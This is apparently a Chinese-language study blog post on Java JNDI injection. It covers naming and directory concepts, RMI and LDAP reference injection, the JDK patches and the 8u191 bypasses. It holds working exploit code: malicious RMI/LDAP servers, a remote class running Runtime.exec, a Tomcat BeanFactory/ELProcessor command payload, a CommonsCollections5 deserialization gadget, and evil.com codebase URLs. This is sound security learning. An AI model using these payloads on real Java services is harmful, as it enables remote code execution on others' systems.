
前言
JNDI注入! 环境版本:JDK1.8.0-66
JNDI概念
JNDI 全称为 Java Naming and Directory Interface(Java 命名与目录接口) 是SUN公司提供的一种标准的 Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
那么我们就知道了它为java提供的一个接口,而且分为了两个部分,命名服务与目录服务。
Naming Service 命名服务
命名服务也可称为名称服务将名称和对象进行关联,提供 通过名称找到对象 的操作,但是存在一些特殊情况,在一些命名服务系统中并不直接将对象进行存储,而是存储了对象的引用,引用包含了如何访问实际对象的信息,类似于指针。
命名服务普遍存在于计算机系统中,例如:
- DNS: 通过域名查找实际的 IP 地址
- 文件系统: 通过文件名定位到具体的文件
在命名系统中,存在以下几个重要的概念:
- Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。
- Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。
- References: 当存在上述的特殊情况时,以引用的形式进行存储,可以理解为指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd ,这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
Directory Service 目录服务
目录服务是名称服务的 一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。
即:名称 -> 对象 与 对象的属性 -> 对象
API
根据上面的介绍,我们知道 目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。目录服务的存在拓宽了我们获取一个对象的方式,不仅仅通过lookup,还能通过search。
比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java 对象进行实际的打印操作。
基于以上情况就有了 JNDI,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,设计出了应用范围宽泛的(也就是兼容性比较强大),因此可以针对不同的目录服务提供统一的操作接口。
JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:

SPI
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体的目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
- RMI: Java Remote Method Invocation,Java 远程方法调用
- LDAP: 轻量级目录访问协议
- CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务
JNDI的结构
从上面介绍的三个 Service Provider 我们可以看到,除了 RMI 是 Java 特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java 独立使用。JNDI 就是在这个基础上提供了统一的接口,来方便调用各种服务。在 Java JDK 里面提供了5个包,提供给JNDI的功能实现,分别是:
- javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
- javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
- javax.naming.event:在命名目录服务器中请求事件通知;
- javax.naming.ldap:提供LDAP支持;
- javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
其中最为重要的是 javax.naming,其中的一些类需要学习一下
InitialContext类
构造方法:
//构建一个初始上下文。 InitialContext() //构造一个初始上下文,并选择不初始化它。 InitialContext(boolean lazy) //使用提供的环境构建初始上下文。 InitialContext(Hashtable<?,?> environment)
|
常用方法:
//将名称绑定到对象。 bind(Name name, Object obj) //枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 list(String name) //检索命名对象。 lookup(String name) //将名称绑定到对象,覆盖任何现有绑定。 rebind(String name, Object obj) //取消绑定命名对象。 unbind(String name)
|
示例:
import javax.naming.InitialContext; import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
Reference类
该类也是在 javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的 引用功能。
构造方法:
//为类名为“className”的对象构造一个新的引用。 Reference(String className) //为类名为“className”的对象和地址构造一个新引用。 Reference(String className, RefAddr addr) //为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。 Reference(String className, String factory, String factoryLocation)
/* 参数: className 远程加载时所使用的类名 factory 加载的class中需要实例化类的名称 factoryLocation 提供classes数据的地址可以是file/ftp/http协议 */
|
常用方法:
//将地址添加到索引posn的地址列表中。 void add(int posn, RefAddr addr) //将地址添加到地址列表的末尾。 void add(RefAddr addr) //从此引用中删除所有地址。 void clear() //检索索引posn上的地址。 RefAddr get(int posn) //检索地址类型为“addrType”的第一个地址。 RefAddr get(String addrType) //检索本参考文献中地址的列举。 Enumeration<RefAddr> getAll() //检索引用引用的对象的类名。 String getClassName() //检索此引用引用的对象的工厂位置。 String getFactoryClassLocation() //检索此引用引用对象的工厂的类名。 String getFactoryClassName() //从地址列表中删除索引posn上的地址。 Object remove(int posn) //检索此引用中的地址数。 int size() //生成此引用的字符串表示形式。 String toString()
|
示例:
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class jndi { public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { String url = "http://127.0.0.1:8080"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("aa",referenceWrapper); } }
|
这里调用了ReferenceWrapper进行对引用的包装,提一句原因。
查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。
JNDI References 注入
在JNDI中对象的传递为两种,一、序列化,二、引用。针对于引用的方式,如果我们可控客户端的 lookup()内容,控制客户端去访问恶意的服务中心(比如rmi和ldap),获取到恶意的引用,从而获取恶意远程服务器的恶意class文件进行执行。

- 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj
- 原先配置好的上下文环境 会因为动态环境转换而被指向 rmi://evil.com:1099/
- 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 绑定的ReferenceWrapper 对象
- 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从恶意远程服务器上去尝试获取 EvilObject.class,即动态的去获取
http://evil-cb.com/EvilObject.class
- 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class
- 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行
防御
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly 默认值被设置为 true。将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
- JDK 6u141、7u131、8u121之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
- JDK 6u211、7u201、8u191之后:增加了 com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为 false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
这就涉及到高版本下的JNDI绕过,下篇学习。
JNDI-RMI
实现
Server端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Server { public static void main(String[] args) throws Exception { String url = "http://127.0.0.1:8080"; Registry r = LocateRegistry.createRegistry(1099); Reference reference = new Reference("calc", "calc", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); r.bind("evil",referenceWrapper); } }
|
Client端
import javax.naming.InitialContext;
public class Client { public static void main(String[] args) throws Exception { String url = "rmi://127.0.0.1:1099/evil"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
calc.java,编译为class,放到web服务下
import java.io.IOException;
public class calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
启动服务端、客户端后弹出计算器。
流程分析
断点下到
initialContext.lookup(url);
|
走到 RegistryContext#lookup ,通过registryImpl_Stub去寻找evil,返回值为一个 ReferenceWrapper 对象,接着调用当前类的decodeObject 去获取其中的信息

调用 getReference 获取信息

看到已经获取详细的信息了,随后调用静态方法 NamingManager#getObjectInstance

getObjectInstance 中定义 ObjectFactory 类型的 factory 用于接受工厂类的对象

然后调用 getObjectFactoryFromReference 去获取 工厂类的对象

getObjectFactoryFromReference 中首先直接尝试类加载

那么在类加载的过程中使用AppClassLoader加载,本地肯定是没有的,返回空

本地没有找到类接着调用 Reference#getFactoryClassLocation 赋值给 codebase ,也就是获取远程调用的地址,并再次类加载,这回用 URLClassLoader去进行加载。

这样就能获取到远程的恶意类,并且进行初始化的类加载,执行静态代码块。

一路返回到 getObjectFactoryFromReference,最后会实例化返回一个对象,所以恶意代码还可以写到构造函数中。

返回到 factory 后,调用其 getObjectInstance 方法

修补
上面提到说,JDK 6u141、7u131、8u121之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞。
切换版本为jdk8u181,在RegistryContext中,会判断 trustURLCodebase

默认为false,默认情况下就抛出异常。

但是在8u191之前都是可以通过LDAP进行绕过的,下面跟一下ldap的流程。
JNDI-LDAP
实现
ldap用代码实现比较多(下面8u191代码实现ldap),这里直接用工具 marshalsec 启动代替LDAP服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc
|
Client端
import javax.naming.InitialContext;
public class Client { public static void main(String[] args) throws Exception { String url = "ldap://127.0.0.1:1389/aa"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
流程分析
LdapCtx#c_lookup 走到decodeObject,和上面作用一样,进行解析

感觉这里应该还会有利用点,学懂了在研究吧。

可以看到解析出来后为Reference对象

然后调用 DirectoryManager#getObjectInstance 去获取实例,对照着RMI的修补就知道,这里没有进行限制。

剩下的类似RMI,getObjectFactoryFromReference->loadClass

类加载完毕后返回实例,同样调用其 工厂类对象的getObjectInstance 方法

修补
8u191之后进行了修补, loadClass方法中添加 trustURLCodebase 属性,所以不能远程加载了。

8u191的绕过
针对8u191的绕过大致两种途径
- 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
第一种思路,既然远程不能打,就寻找本地的工厂类的有没有可能存在利用点,我们返回的Reference对象中包含本地存在的可利用Factory类,然后在loadClass后,创建实例对象,调用其 getObjectInstance 方法,当然了Factory类需要实现 javax.naming.spi.ObjectFactory 接口,还要重写其 getObjectInstance 方法。比如现在有这么一个Factory中,它的静态代码块或者无参构造方法等存在利用点,它的 getObjectInstance 存在利用点,我们直接返回Reference对象就可以加以利用。
第二种思路,通过LDAP的 javaSerializedData反序列化gadget。LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化。
简单例子
Server端创建rmi服务
Reference reference = new Reference("Test","Test",null);
|
Client端存在一个Factory
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;
public class Test implements ObjectFactory { static { System.out.println("静态代码"); }
public Test(){ System.out.println("无参构造方法"); }
{ System.out.println("构造代码块"); }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("getObjectInstance"); return null; } }
|
当client端发起lookup请求后,结果如下
静态代码 构造代码块 无参构造方法 getObjectInstance
|
利用本地Class
目前公开常用的利用方法是通过 Tomcat 的 org.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval 方法或 groovy.lang.GroovyShell#evaluate 方法
BeanFactory 的利用原理如下
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
pom.xml都添加上
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>9.0.8</version> </dependency>
|
Server端
import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Server { public static void main(String[] args) throws Exception { Registry r = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); r.bind("evil",referenceWrapper); System.out.println("running"); } }
|
流程分析
先看一下 BeanFactory#getObjectInstance
首先要求传入的类型为 ResourceRef ,所以Server端才这样构造

看一下 ResourceRef 的构造函数

调用父类构造方法,最后结果如下
- classFactory = factory (org.apache.naming.factory.BeanFactory)
- classFactoryLocation = null
- className = resourceClass (javax.el.ELProcessor)
Client端接受Reference后实例 BeanFactory 对象,调用其 getObjectInstance 方法

跟进 BeanFactory#getObjectInstance 获取beenClass即ELprocessor,通过类加载器进行类加载

调用无参构造方法去实例化对象

接着从Reference对象的addrs参数集合中获取其 addrType 是 forceString 的参数赋值给value

for循环去遍历value,按照,
分割成多个要执行的方法,如果有 = 进行截取,等号前面赋值给param,后面赋值给 setterName,相当于拆分为键值对

在beenclass中获取”键值名”的方法,把键名和对应的方法放到 forced中

获取出不在if条件中的其他值,这里获取到的即 x,赋值给 propName
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
|

最后会根据 propName 作为方法名称去反射获取一个参数类型是 **String.class(value)**的方法,并按照 param 从 addrs 中取到的 String 对象作为参数去反射调用该方法。
从 forced 中 获取 x 所代表的method,然后进行反射调用命令执行。

LDAP返回对象
pox.xml
<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency>
|
Server端,打CC5
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URL; import java.util.HashMap; import java.util.Map;
public class Server { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{ String[] args=new String[]{"http://192.168.68.155/#test"}; int port = 1389;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
e.addAttribute("javaSerializedData",CommonsCollections5());
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }
private static byte[] CommonsCollections5() throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test"); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null); Field field=badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close();
return byteArrayOutputStream.toByteArray(); }
}
|
流程分析
LdapCtx#c_lookup,进行判断 JAVA_ATTRIBUTES[2] 即 javaclassname 不为空,进入Obj#decodeObject

Obj#decodeObject 中 JAVA_ATTRIBUTES[4] 空,尝试获取 JAVA_ATTRIBUTES[1],即序列化的字节码。

deserializeObject,反序列化

参考
JNDI注入分析
JNDI注入学习
浅析JNDI注入
如何绕过高版本JDK的限制进行